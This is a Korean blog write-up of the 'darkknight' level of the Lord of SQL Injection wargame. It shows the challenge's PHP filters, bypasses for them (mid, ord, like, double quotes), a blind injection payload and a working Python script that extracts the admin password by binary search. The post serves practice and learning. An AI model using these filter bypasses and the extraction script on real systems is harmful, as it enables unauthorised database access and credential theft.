Almon Dev

[Lord of SQL Injection] darkknight 문제 풀이 본문

웹 해킹/Lord of SQLi

[Lord of SQL Injection] darkknight 문제 풀이

Almon 2025. 4. 19. 22:51

darkknight 문제 풀이

 

darkknight 문제

 

문제 분석

 

 문제 목표

GET 메서드의 pw 파라미터 값과 데이터베이스에서 가져온 admin 계정의 비밀번호가 일치할 경우, solve("darkknight") 함수가 실행됩니다. 이 함수는 문제를 성공적으로 풀었을 때 호출되는 것으로 보입니다. 따라서 이 문제의 목표는 admin 계정의 비밀번호를 탈취하는 것으로 보입니다.

$_GET[pw] = addslashes($_GET[pw]); 
$query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight");

 

 입력 제한

pw 파라미터에서는 '(작은따옴표)를 필터링하여 문자열 탈출(SQL Injection 시도)을 방지하고 있으며,  no 파라미터에서는 prob, _(언더바), .(마침표), ()(빈 괄호) 등의 문자열을 필터링하여 데이터베이스에 직접 접근하는 시도를 막고 있습니다.  또한 no 파라미터에 '(작은따옴표), substr, ascii, = 등의 키워드가 포함될 경우에도 exit() 함수를 통해 PHP 코드 실행을 즉시 종료합니다.

if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");

 

 취약점 분석

pw 파라미터에 삽입한 값은 SQL 쿼리에 삽입되고 실행됩니다. 쿼리의 결과값이 존재할 경우 데이터베이스에서 가져온 id가 화면에 출력됩니다. 따라서 위에서 알아본 입력제한을 우회하여 SQL Injection을 실행하는 것이 문제 풀이의 핵심으로 보입니다.

우회방식
darkknight 문제와 같이 파라미터의 입력값을 블랙리스트 방식으로 필터링한 경우, 필터링되는 문자열을 알아낸다면, 그에 해당하는 같거나 비슷한 기능을 하는 다른 함수나 연산자를 사용하여 우회할 수 있습니다.
ex)
substr, substring → mid
ascii → ord
' → "
= → like
$query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";

 

문제 풀이

 

1. no 파라미터에 or과 1 like 1(참 쿼리)를 삽입하여 Hello guest가 출력되는 것으로 SQL Injection이 가능한 것을 확인합니다.

 

2. 참과 거짓일 때 서로 결과가 다른 것을 확인합니다.

=> Hello 출력 여부

거짓

 

3. Blind SQL Injection을 위해 공격 format을 생성합니다.

format => pw=1&no=1 or id like "admin" and ord(mid(pw, {index}, 1)) > {ascii}

ascii와 substr이 필터링 되어 같은 기능을 하지만 이름은 다른 ord와 mid를 사용하여 우회했습니다.

 

4. Python 코드를 생성해 admin 계정의 비밀번호를 Blind SQL Injectiton으로 추출합니다.

Blind SQL Injection 방식
mid 함수를 이용해 admin 계정의 비밀번호에서 한 글자씩 추출한 뒤, ord 함수를 사용해 해당 문자를 아스키 값 숫자로 변환합니다. 이후 비교를 반복하며 이진 탐색 방식으로 각 자리의 문자를 알아내는 방식을 사용했습니다.

이진 탐색
SQL Injection에서 결과값이 참과 거짓으로 나오는 점을 이용해서 탐색 범위를 반으로 줄여가며 효율적으로 값을 찾는 이진 탐색 방식을 사용합니다.

ex) 1 - 1000 사이의 숫자인 x를 찾을 때
x > 500 True
x > 750 False
x > 625 True
....
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def request_sqli(session, url, index, ascii):
    parm = f"?pw=1&no=1 or id like \"admin\" and ord(mid(pw,{index},1)) > {ascii}"
    url = url + parm
    response = session.get(url)
    # response = session.get(url, proxies=proxies, verify=False)
    if "Hello admin" in response.text:
        return True
    else:
        return False;

url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
session = requests.Session()
sessid = "PHPSESSID"
session.cookies.set("PHPSESSID", sessid)
sql_result = ""

proxies = {
    "http": "http://localhost:8080",
    "https": "http://localhost:8080"
}

index = 1
while True:
    if request_sqli(session, url, index, 0):
        left = 0
        right = 127
        while True:
            mid = (left + right) // 2
            if request_sqli(session, url, index, mid):
                left = mid + 1
            else:
                right = mid
            if left == right:
                index += 1
                sql_result += chr(left)
                print(f"\r결과 : {sql_result}", end="")
                break
    else:
        break

 

5. Python 코드를 실행하여 admin 계정의 비밀번호를 추출합니다.

 

6. 비밀번호를 pw 파라미터에 삽입해 문제 풀이를 완료합니다.